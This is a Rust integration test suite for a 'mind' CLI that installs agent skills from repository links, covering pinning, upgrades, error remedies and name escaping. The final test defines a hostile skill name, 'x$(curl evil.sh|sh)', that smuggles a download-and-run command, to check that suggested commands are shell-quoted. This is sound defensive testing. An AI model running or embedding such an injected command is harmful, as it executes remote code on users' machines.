use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use std::sync::atomic::{AtomicU32, Ordering};
static COUNTER: AtomicU32 = AtomicU32::new(0);
struct Sandbox {
base: PathBuf,
source: PathBuf,
mind_home: PathBuf,
claude_home: PathBuf,
}
struct Run {
stdout: String,
stderr: String,
success: bool,
}
impl Sandbox {
fn new() -> Sandbox {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review the diff for bugs\n---\n# review skill\n",
);
sb.write_and_commit(
"skills/extra/SKILL.md",
"---\ndescription: A second skill\n---\n# extra skill\n",
);
sb
}
fn bare(name: &str) -> Sandbox {
let n = COUNTER.fetch_add(1, Ordering::SeqCst);
let base = std::env::temp_dir().join(format!("mind-lnk-{}-{n}", std::process::id()));
let _ = std::fs::remove_dir_all(&base);
let source = base.join(name);
let sb = Sandbox {
base: base.clone(),
source: source.clone(),
mind_home: base.join("mind"),
claude_home: base.join("claude"),
};
write(&source.join("README.md"), "# fixture\n");
git(&source, &["-c", "init.defaultBranch=main", "init", "-q"]);
git(&source, &["config", "user.email", "t@t"]);
git(&source, &["config", "user.name", "t"]);
git(&source, &["add", "-A"]);
git(&source, &["commit", "-qm", "initial"]);
sb
}
fn mind(&self, args: &[&str]) -> Run {
self.mind_env(args, &[])
}
fn mind_env(&self, args: &[&str], envs: &[(&str, &str)]) -> Run {
let mut cmd = Command::new(env!("CARGO_BIN_EXE_mind"));
cmd.args(args)
.env("MIND_HOME", &self.mind_home)
.env("CLAUDE_HOME", &self.claude_home)
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.stdin(Stdio::null());
for (k, v) in envs {
cmd.env(k, v);
}
let out = cmd.output().expect("run mind");
Run {
stdout: String::from_utf8_lossy(&out.stdout).into_owned(),
stderr: String::from_utf8_lossy(&out.stderr).into_owned(),
success: out.status.success(),
}
}
fn write_and_commit(&self, rel: &str, contents: &str) {
write(&self.source.join(rel), contents);
git(&self.source, &["add", "-A"]);
git(&self.source, &["commit", "-qm", "fixture"]);
}
fn link(&self, tail: &str) -> String {
format!("file://{}/{tail}", self.source.to_string_lossy())
}
fn link_name(&self, path: &str) -> String {
format!(
"local/{}/{}#{path}",
self.base.file_name().unwrap().to_string_lossy(),
self.source.file_name().unwrap().to_string_lossy(),
)
}
fn head_sha(&self) -> String {
let out = Command::new("git")
.args(["rev-parse", "HEAD"])
.current_dir(&self.source)
.output()
.expect("git rev-parse");
String::from_utf8_lossy(&out.stdout).trim().to_string()
}
}
impl Drop for Sandbox {
fn drop(&mut self) {
let _ = std::fs::remove_dir_all(&self.base);
}
}
fn write(path: &Path, contents: &str) {
std::fs::create_dir_all(path.parent().unwrap()).unwrap();
std::fs::write(path, contents).unwrap();
}
fn git(dir: &Path, args: &[&str]) {
let status = Command::new("git")
.args(args)
.current_dir(dir)
.stdout(Stdio::null())
.stderr(Stdio::null())
.status()
.expect("run git");
assert!(status.success(), "git {args:?} failed in {dir:?}");
}
fn source_count(sb: &Sandbox) -> usize {
let path = sb.mind_home.join("sources.json");
let Ok(json) = std::fs::read_to_string(&path) else {
return 0;
};
json.matches("\"url\"").count()
}
#[test]
fn learn_url_installs_the_single_linked_skill() {
let sb = Sandbox::new();
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(r.success, "learn <url> failed: {} {}", r.stdout, r.stderr);
assert!(
sb.claude_home.join("skills/review").exists(),
"the linked skill must be installed"
);
assert!(
!sb.claude_home.join("skills/extra").exists(),
"the repo's other skill must NOT be installed"
);
assert_eq!(
source_count(&sb),
1,
"exactly one source instance registered"
);
let probe = sb.mind(&["probe"]);
assert!(
probe.stdout.contains("skill:review") && !probe.stdout.contains("skill:extra"),
"only the linked skill is offered: {}",
probe.stdout
);
}
#[test]
fn learn_url_again_is_an_up_to_date_noop() {
let sb = Sandbox::new();
let url = sb.link("tree/main/skills/review");
assert!(sb.mind(&["learn", &url]).success);
let r = sb.mind(&["learn", &url]);
assert!(r.success, "second learn <url> failed: {}", r.stderr);
assert!(
r.stdout.contains("already installed"),
"second learn must be the up-to-date no-op: {}",
r.stdout
);
assert_eq!(source_count(&sb), 1, "no duplicate instance registered");
}
#[test]
fn meld_url_registers_without_installing() {
let sb = Sandbox::new();
let r = sb.mind(&[
"meld",
&sb.link("tree/main/skills/review"),
"--register-only",
]);
assert!(r.success, "meld <url> failed: {} {}", r.stdout, r.stderr);
assert!(
!sb.claude_home.join("skills/review").exists(),
"--register-only must not install"
);
let probe = sb.mind(&["probe"]);
assert!(
probe.stdout.contains("skill:review"),
"the linked skill must be offered: {}",
probe.stdout
);
}
#[test]
fn blob_link_to_skill_md_installs() {
let sb = Sandbox::new();
let r = sb.mind(&["learn", &sb.link("blob/main/skills/review/SKILL.md")]);
assert!(r.success, "blob learn failed: {} {}", r.stdout, r.stderr);
assert!(sb.claude_home.join("skills/review").exists());
}
#[test]
fn link_reaches_a_skill_the_marketplace_manifest_does_not_list() {
let sb = Sandbox::bare("mkt");
sb.write_and_commit(
".claude-plugin/marketplace.json",
r#"{"name":"Cat","plugins":[{"name":"kit","source":"./plugins/kit"}]}"#,
);
sb.write_and_commit(
"plugins/kit/skills/foo/SKILL.md",
"---\ndescription: listed\n---\n# foo\n",
);
sb.write_and_commit(
"community/hidden/SKILL.md",
"---\ndescription: unlisted\n---\n# hidden\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/community/hidden")]);
assert!(r.success, "learn failed: {} {}", r.stdout, r.stderr);
assert!(
sb.claude_home.join("skills/hidden").exists(),
"the unlisted skill must install via its link"
);
assert_eq!(source_count(&sb), 1, "only the link instance registers");
}
#[test]
fn link_instances_and_a_plain_meld_coexist() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/extra")])
.success
);
let spec = sb.source.to_string_lossy().into_owned();
let r = sb.mind(&["meld", &spec, "--namespace", "full", "--register-only"]);
assert!(r.success, "plain meld failed: {} {}", r.stdout, r.stderr);
assert_eq!(source_count(&sb), 3, "instances and the repo are distinct");
let sources = sb.mind(&["recall", "--sources"]);
assert!(
sources.stdout.contains("#skills/review") && sources.stdout.contains("#skills/extra"),
"link identities must be visible: {}",
sources.stdout
);
}
#[test]
fn item_link_composes_with_a_consumer_alias() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success,
"bare link install"
);
assert!(
sb.claude_home.join("skills/review").exists(),
"unprefixed link skill installs"
);
let r = sb.mind(&[
"meld",
&sb.link("tree/main/skills/review"),
"--namespace",
"jk",
"--yes",
]);
assert!(r.success, "aliased link meld: {} {}", r.stdout, r.stderr);
assert!(
sb.claude_home.join("skills/jk:review").exists(),
"aliased link installs its skill under the prefix"
);
assert!(
sb.claude_home.join("skills/review").exists(),
"the bare link's skill survives"
);
let sources = sb.mind(&["recall", "--sources"]).stdout;
assert!(
sources.contains("#skills/review@jk"),
"the aliased link identity must be visible: {sources}"
);
assert_eq!(
source_count(&sb),
2,
"the bare and aliased link instances coexist"
);
}
#[test]
fn link_without_skill_md_is_an_error_and_registers_nothing() {
let sb = Sandbox::new();
let r = sb.mind(&["learn", &sb.link("tree/main/skills/nope")]);
assert!(!r.success, "a linkless path must fail: {}", r.stdout);
assert!(
r.stderr.contains("not a skill directory"),
"the error must say the path is not a skill: {}",
r.stderr
);
assert_eq!(source_count(&sb), 0, "nothing registered on failure");
}
#[test]
fn branch_link_upgrades_with_the_branch() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
);
assert!(sb.mind(&["sync"]).success);
let r = sb.mind(&["upgrade", "--yes"]);
assert!(r.success, "upgrade failed: {} {}", r.stdout, r.stderr);
let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
assert!(
installed.contains("edited"),
"the installed skill must carry the upstream edit: {installed}"
);
}
#[test]
fn sha_link_pins_and_does_not_follow() {
let sb = Sandbox::new();
let sha = sb.head_sha();
let r = sb.mind(&["learn", &sb.link(&format!("tree/{sha}/skills/review"))]);
assert!(r.success, "sha learn failed: {} {}", r.stdout, r.stderr);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
);
assert!(sb.mind(&["sync"]).success);
assert!(sb.mind(&["upgrade", "--yes"]).success);
let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
assert!(
!installed.contains("edited"),
"a sha-pinned link must not follow the branch: {installed}"
);
}
#[test]
fn learn_pin_freezes_a_branch_link() {
let sb = Sandbox::new();
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review"), "--pin"]);
assert!(
r.success,
"pinned link learn failed: {} {}",
r.stdout, r.stderr
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review the diff for bugs\n---\n# review skill\nedited\n",
);
assert!(sb.mind(&["sync"]).success);
assert!(sb.mind(&["upgrade", "--yes"]).success);
let installed = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md")).unwrap();
assert!(
!installed.contains("edited"),
"a --pin frozen branch link must not follow the branch: {installed}"
);
}
#[test]
fn unmeld_link_instance_uninstalls_its_skill() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
let name = sb.link_name("skills/review");
let r = sb.mind(&["unmeld", &name, "--yes"]);
assert!(r.success, "unmeld failed: {} {}", r.stdout, r.stderr);
assert!(
!sb.claude_home.join("skills/review").exists(),
"unmeld must uninstall the instance's skill"
);
assert_eq!(source_count(&sb), 0);
}
#[test]
fn forget_of_an_emptied_link_hints_at_unmeld() {
let sb = Sandbox::new();
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
let r = sb.mind(&["forget", "review"]);
assert!(r.success, "forget failed: {} {}", r.stdout, r.stderr);
assert!(
r.stderr.contains("mind unmeld"),
"forget must hint at unmeld for an emptied link instance: {}",
r.stderr
);
assert_eq!(source_count(&sb), 1, "the instance stays registered");
}
#[test]
fn link_install_warns_about_an_unsatisfiable_requires_and_still_installs() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(
r.success,
"an unsatisfiable requires must not fail a link install: {} {}",
r.stdout, r.stderr
);
assert!(
sb.claude_home.join("skills/review").exists(),
"the linked skill must still install"
);
assert!(
!sb.claude_home.join("agents/dev.md").exists(),
"the link cannot install the sibling it names"
);
let combined = format!("{}{}", r.stdout, r.stderr);
assert!(
combined.contains("agent:dev") && combined.contains("single-skill item link"),
"the warning must name the unresolved entry and why it cannot resolve: {combined}"
);
assert!(
combined.contains("mind meld") && combined.contains("--learn 'skill:review'"),
"the warning must name the one-command remedy: {combined}"
);
}
fn extract_remedy(text: &str) -> String {
let start = text.find('`').expect("a backticked remedy");
let rest = &text[start + 1..];
let end = rest.find('`').expect("a closing backtick");
rest[..end].to_string()
}
fn run_remedy(sb: &Sandbox, remedy: &str) -> Vec<Run> {
remedy
.split("&&")
.map(|cmd| {
let argv = shell_split(cmd.trim());
assert_eq!(argv.first().map(String::as_str), Some("mind"));
let args: Vec<&str> = argv[1..].iter().map(String::as_str).collect();
sb.mind(&args)
})
.collect()
}
#[test]
fn the_remedy_a_link_prints_works_verbatim_after_the_link_installed() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
);
let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(learn.success, "learn <url> failed: {}", learn.stderr);
let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));
assert!(
!remedy.contains("--add-root"),
"a discoverable skill must get the plain remedy form: {remedy}"
);
for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
assert!(
r.success,
"step {i} of the printed remedy `{remedy}` failed: {} {}",
r.stdout, r.stderr
);
}
assert!(
sb.claude_home.join("skills/review").exists()
&& sb.claude_home.join("agents/dev.md").exists(),
"the remedy must end with the skill and the sibling it requires installed"
);
assert!(
!sb.claude_home.join("skills/extra").exists(),
"the remedy must not install the repo's unrelated skills"
);
assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
let recall = sb.mind(&["recall", "skill:review"]);
assert!(
!recall.stdout.contains("dropped"),
"the drop record must not survive the remedy: {}",
recall.stdout
);
}
#[test]
fn the_remedy_a_link_prints_works_verbatim_after_a_token_error() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(!learn.success, "the token must fail the install");
assert_eq!(
source_count(&sb),
1,
"the aborted install leaves the instance registered"
);
let remedy = extract_remedy(&learn.stderr);
for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
assert!(
r.success,
"step {i} of the printed remedy `{remedy}` failed: {} {}",
r.stdout, r.stderr
);
}
assert!(
sb.claude_home.join("skills/review").exists(),
"the remedy must install the skill the link could not"
);
assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
}
#[test]
fn the_remedy_works_verbatim_for_a_repo_whose_inventory_hides_the_skill() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
);
sb.write_and_commit(
"mind.toml",
"[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
);
let learn = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(learn.success, "the link install failed: {}", learn.stderr);
let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));
assert!(
remedy.contains("--add-root '.'"),
"a skill a plain meld cannot reach needs the --add-root form: {remedy}"
);
for (i, r) in run_remedy(&sb, &remedy).into_iter().enumerate() {
assert!(
r.success,
"step {i} of the printed remedy `{remedy}` failed: {} {}",
r.stdout, r.stderr
);
}
assert!(
sb.claude_home.join("skills/review").exists()
&& sb.claude_home.join("agents/dev.md").exists(),
"the remedy must end with the skill and the sibling it requires installed"
);
assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
let recall = sb.mind(&["recall", "skill:review"]);
assert!(
!recall.stdout.contains("dropped"),
"the drop record must not survive the remedy: {}",
recall.stdout
);
}
#[test]
fn the_remedy_names_the_scan_root_a_nested_skill_actually_needs() {
let sb = Sandbox::new();
sb.write_and_commit(
"vendor/pkg/skills/review/SKILL.md",
"---\ndescription: nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
sb.write_and_commit(
"mind.toml",
"[[items]]\nkind = \"skill\"\nname = \"extra\"\npath = \"skills/extra\"\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/vendor/pkg/skills/review")]);
assert!(!r.success, "the token must fail the install: {}", r.stdout);
let remedy = extract_remedy(&r.stderr);
assert!(
remedy.contains("--add-root 'vendor/pkg'"),
"the remedy must name the directory the scan starts from: {remedy}"
);
}
#[test]
fn the_remedy_installs_the_literal_item_when_its_name_carries_glob_syntax() {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/pdf[x]/SKILL.md",
"---\ndescription: The literal one\nrequires: agent:dev\n---\n# pdf[x]\n",
);
sb.write_and_commit(
"skills/pdfx/SKILL.md",
"---\ndescription: The one a glob would select\n---\n# pdfx\n",
);
let learn = sb.mind(&["learn", &sb.link("tree/main/skills/pdf[x]")]);
assert!(learn.success, "the link install failed: {}", learn.stderr);
let remedy = extract_remedy(&format!("{}{}", learn.stdout, learn.stderr));
assert!(
remedy.contains("--learn 'skill:pdf[[]x[]]'"),
"the remedy must carry the kind-qualified, glob-escaped name: {remedy}"
);
let escaped_identity = sb
.link_name("skills/pdf[x]")
.replace("pdf[x]", "pdf[[]x[]]");
assert!(
sb.mind(&["unmeld", &escaped_identity, "--yes"]).success,
"the link instance must be droppable"
);
let meld_half = remedy.split("&&").nth(1).expect("a two-step remedy").trim();
let argv = shell_split(meld_half);
assert_eq!(argv.first().map(String::as_str), Some("mind"));
let args: Vec<&str> = argv[1..].iter().map(String::as_str).collect();
let r = sb.mind(&args);
assert!(
r.success,
"the meld half `{meld_half}` failed: {} {}",
r.stdout, r.stderr
);
assert!(
sb.claude_home.join("skills/pdf[x]").exists(),
"the remedy must install the literally named skill: `{remedy}`"
);
assert!(
!sb.claude_home.join("skills/pdfx").exists(),
"the remedy must not install the skill a glob reading selects: `{remedy}`"
);
assert!(
sb.claude_home.join("agents/dev.md").exists(),
"the remedy must still bring the closure of the item it names"
);
}
#[test]
fn learn_pattern_installs_an_item_whose_name_contains_a_hash() {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: The decoy\n---\n# review\n",
);
sb.write_and_commit(
"skills/x#skill:review/SKILL.md",
"---\ndescription: The hash-named one\n---\n# hash\n",
);
let repo = sb.source.to_string_lossy().into_owned();
assert!(sb.mind(&["meld", &repo, "--register-only"]).success);
assert!(
sb.mind(&["learn", "skill:review"]).success,
"the decoy must be installed first: that is what the bad split collides with"
);
let r = sb.mind(&["meld", &repo, "--learn", "x*", "--yes"]);
assert!(r.success, "meld --learn failed: {} {}", r.stdout, r.stderr);
assert!(
sb.claude_home.join("skills/x#skill:review").exists(),
"the hash-named item must install: {} {}",
r.stdout,
r.stderr
);
assert!(
!r.stdout.contains("already installed"),
"the hash-named item is not installed, so mind must not say it is: {}",
r.stdout
);
}
#[test]
fn a_dropped_requires_is_recorded_and_surfaced_after_the_warning_scrolls_away() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
let recall = sb.mind(&["recall", "skill:review"]);
assert!(
recall.stdout.contains("dropped") && recall.stdout.contains("agent:dev"),
"recall must show the dropped requirement: {}",
recall.stdout
);
let json = sb.mind(&["--json", "recall", "skill:review"]);
let doc: serde_json::Value = serde_json::from_str(&json.stdout)
.unwrap_or_else(|e| panic!("recall --json must be one document ({e}): {}", json.stdout));
assert_eq!(
doc["dropped_requires"]
.as_array()
.map(|a| a.iter().map(|v| v.as_str().unwrap()).collect::<Vec<_>>()),
Some(vec!["agent:dev"]),
"the JSON item shape must carry the drop: {}",
json.stdout
);
let introspect = sb.mind(&["introspect"]);
assert!(
introspect.stdout.contains("skill:review") && introspect.stdout.contains("agent:dev"),
"introspect must report the degraded item: {}",
introspect.stdout
);
assert!(
!introspect.stdout.contains("all good"),
"introspect must not call a degraded item all good: {}",
introspect.stdout
);
let ij = sb.mind(&["introspect", "--json"]);
let report: serde_json::Value = serde_json::from_str(&ij.stdout).unwrap_or_else(|e| {
panic!(
"introspect --json must be one document ({e}): {}",
ij.stdout
)
});
let issue = report["issues"]
.as_array()
.expect("issues array")
.iter()
.find(|i| i["kind"] == "dropped-requires")
.unwrap_or_else(|| panic!("no dropped-requires issue: {}", ij.stdout));
assert_eq!(issue["target"], "skill:review", "{}", ij.stdout);
let message = issue["message"].as_str().unwrap_or_default();
assert!(
message.contains("agent:dev"),
"the issue must name the dropped entry: {message}"
);
assert!(
message.contains("mind recall --sources"),
"the issue must point at a real command: {message}"
);
let sources = sb.mind(&["recall", "--sources"]);
assert!(
sources.success && sources.stdout.contains("#skills/review"),
"the suggested command must list the link source: {} {}",
sources.stdout,
sources.stderr
);
}
#[test]
fn an_ordinary_install_records_no_dropped_requires() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill\n",
);
let repo = sb.source.to_string_lossy().into_owned();
assert!(sb.mind(&["meld", &repo, "--yes"]).success);
let manifest = std::fs::read_to_string(sb.mind_home.join("manifest.json")).unwrap();
assert!(
!manifest.contains("dropped_requires"),
"an ordinary install must not write the field: {manifest}"
);
let recall = sb.mind(&["recall", "skill:review"]);
assert!(!recall.stdout.contains("dropped"), "{}", recall.stdout);
assert!(
sb.mind(&["introspect"]).stdout.contains("all good"),
"introspect must be clean for an ordinary install"
);
}
#[test]
fn upgrading_a_link_whose_upstream_added_a_requires_warns_instead_of_failing() {
let sb = Sandbox::new();
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\n---\n# review skill\n",
);
assert!(
sb.mind(&["learn", &sb.link("tree/main/skills/review")])
.success
);
let before = sb.mind(&["recall", "skill:review"]);
assert!(!before.stdout.contains("dropped"), "{}", before.stdout);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: agent:dev\n---\n# review skill v2\n",
);
let up = sb.mind(&["upgrade", "--yes"]);
assert!(
up.success,
"upgrade must not hard-fail on the new requires: {} {}",
up.stdout, up.stderr
);
let combined = format!("{}{}", up.stdout, up.stderr);
assert!(
combined.contains("agent:dev"),
"upgrade must warn about the dropped entry: {combined}"
);
let after = sb.mind(&["recall", "skill:review"]);
assert!(
after.stdout.contains("dropped") && after.stdout.contains("agent:dev"),
"the drop record must reflect the upgraded version: {}",
after.stdout
);
}
#[test]
fn link_install_keeps_the_dep7_causes_as_hard_errors() {
let sb = Sandbox::new();
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nrequires: owner/repo#agent:dev\n---\n# review\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(
!r.success,
"a source-qualified requires must stay a hard error: {}",
r.stdout
);
assert!(
r.stderr.contains("crosses sources"),
"the specific DEP-7 cause must survive: {}",
r.stderr
);
assert!(
!sb.claude_home.join("skills/review").exists(),
"nothing is installed when a kept entry fails"
);
}
#[test]
fn link_install_of_a_skill_with_a_tools_token_errors_with_the_remedy() {
let sb = Sandbox::new();
sb.write_and_commit("tools/fmt/fmt", "#!/bin/sh\necho fmt\n");
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\n---\n# review\n\nRun {{tools:fmt}} first.\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(
!r.success,
"an unresolvable tool token must fail: {}",
r.stdout
);
assert!(
r.stderr.contains("{{tools:fmt}}") && r.stderr.contains("single-skill item link"),
"the error must name the token and the single-item catalog: {}",
r.stderr
);
assert!(
r.stderr.contains("mind unmeld") && r.stderr.contains("--learn 'skill:review'"),
"the error must name the remedy: {}",
r.stderr
);
}
#[test]
fn link_install_scans_expand_listed_files_for_tokens_too() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit("skills/review/run.py", "# hands off to {{ns:dev}}\n");
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\nexpand: run.py\n---\n# review\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(
!r.success,
"a token in an expand:-listed file must fail the install: {}",
r.stdout
);
assert!(
r.stderr.contains("{{ns:dev}}") && r.stderr.contains("single-skill item link"),
"the expand:-listed file must get the LNK-18 error, not the blunt one: {}",
r.stderr
);
}
#[test]
fn link_install_of_a_skill_with_an_ns_token_errors_with_the_remedy() {
let sb = Sandbox::new();
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: Review\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(!r.success, "an unresolvable token must fail: {}", r.stdout);
assert!(
r.stderr.contains("{{ns:dev}}") && r.stderr.contains("single-skill item link"),
"the error must name the token and the single-item catalog: {}",
r.stderr
);
assert!(
r.stderr.contains("mind meld") && r.stderr.contains("--learn 'skill:review'"),
"the error must name the one-command remedy: {}",
r.stderr
);
assert!(
!sb.claude_home.join("skills/review").exists(),
"nothing is installed when the token cannot be expanded"
);
}
#[test]
fn the_remedy_adds_a_root_when_the_repo_declares_a_different_skill_of_the_same_name() {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"skills/review/SKILL.md",
"---\ndescription: the linked one\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
sb.write_and_commit(
"vendor/review/SKILL.md",
"---\ndescription: a decoy of the same bare name\n---\n# decoy\n",
);
sb.write_and_commit(
"mind.toml",
"[[items]]\nkind = \"skill\"\nname = \"review\"\npath = \"vendor/review\"\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/skills/review")]);
assert!(!r.success, "the token must fail the install: {}", r.stdout);
let remedy = extract_remedy(&r.stderr);
assert!(
remedy.contains("--add-root"),
"a same-named skill at another path must NOT count as reachable, or the \
remedy would meld the decoy: {remedy}"
);
let rootless = remedy.replace(" --add-root '.'", "");
assert_ne!(rootless, remedy, "the remedy really did carry a root");
for (i, run) in run_remedy(&sb, &rootless).into_iter().enumerate() {
assert!(
run.success,
"step {i} of the rootless form `{rootless}` was expected to succeed \
(that is the trap): {} {}",
run.stdout, run.stderr
);
}
let text = std::fs::read_to_string(sb.claude_home.join("skills/review/SKILL.md"))
.expect("the rootless form installs a skill/review");
assert!(
text.contains("a decoy of the same bare name"),
"the rootless form silently installs the DECOY, which is exactly what \
the by-path rule exists to avoid printing: {text}"
);
}
#[test]
fn the_remedy_for_a_nested_skill_works_verbatim() {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"vendor/pkg/skills/review/SKILL.md",
"---\ndescription: nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"mind.toml",
"[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/vendor/pkg/skills/review")]);
assert!(!r.success, "the token must fail the install: {}", r.stdout);
let remedy = extract_remedy(&r.stderr);
assert!(
remedy.contains("--add-root 'vendor/pkg'"),
"the remedy must name the directory the one-level-deep scan starts \
from: {remedy}"
);
for (i, run) in run_remedy(&sb, &remedy).into_iter().enumerate() {
assert!(
run.success,
"step {i} of the printed remedy `{remedy}` failed: {} {}",
run.stdout, run.stderr
);
}
assert!(
sb.claude_home.join("skills/review").exists(),
"the derived root must actually make the meld half reach the nested \
skill: `{remedy}`"
);
assert_eq!(source_count(&sb), 1, "the link instance must be replaced");
}
#[test]
fn the_remedy_for_a_flat_nested_skill_works_verbatim() {
let sb = Sandbox::bare("agents");
sb.write_and_commit(
"vendor/review/SKILL.md",
"---\ndescription: flat nested\n---\n# review\n\nHand off to {{ns:dev}}.\n",
);
sb.write_and_commit(
"agents/dev.md",
"---\nname: dev\ndescription: Dev agent\n---\n# dev\n",
);
sb.write_and_commit(
"mind.toml",
"[[items]]\nkind = \"agent\"\nname = \"dev\"\npath = \"agents/dev.md\"\n",
);
let r = sb.mind(&["learn", &sb.link("tree/main/vendor/review")]);
assert!(!r.success, "the token must fail the install: {}", r.stdout);
let remedy = extract_remedy(&r.stderr);
assert!(
remedy.contains("--add-root 'vendor'"),
"a flat nested skill's root is its own parent: {remedy}"
);
for (i, run) in run_remedy(&sb, &remedy).into_iter().enumerate() {
assert!(
run.success,
"step {i} of the printed remedy `{remedy}` failed: {} {}",
run.stdout, run.stderr
);
}
assert!(
sb.claude_home.join("skills/review").exists(),
"the derived root must actually make the meld half reach the flat \
nested skill: `{remedy}`"
);
}
#[test]
fn learn_pattern_no_match_shell_quotes_a_hostile_link_identity_end_to_end() {
let sb = Sandbox::bare("agents");
let hostile = "x$(curl evil.sh|sh)";
sb.write_and_commit(
&format!("skills/{hostile}/SKILL.md"),
"---\ndescription: hostile name\n---\n# hostile\n",
);
let r = sb.mind(&[
"meld",
&sb.link(&format!("tree/main/skills/{hostile}")),
"--learn",
"nope",
"--yes",
]);
assert!(
!r.success,
"a pattern matching nothing must fail: {} {}",
r.stdout, r.stderr
);
let identity = sb.link_name(&format!("skills/{hostile}"));
assert!(
r.stderr.contains(&format!(
"mind probe --source {} --no-tui",
shell_quote(&identity)
)),
"the suggested command must carry the shell-quoted identity: {}",
r.stderr
);
assert!(
!r.stderr.contains(&format!("--source {identity} --no-tui")),
"the identity must never reach the terminal bare inside the runnable \
command: {}",
r.stderr
);
assert_eq!(source_count(&sb), 1, "the source stays melded");
let probe = sb.mind(&["probe", "--source", &identity, "--no-tui"]);
assert!(
probe.success && probe.stdout.contains(hostile),
"the remedy the message prints must be a command that works: {} {}",
probe.stdout,
probe.stderr
);
}
fn shell_quote(s: &str) -> String {
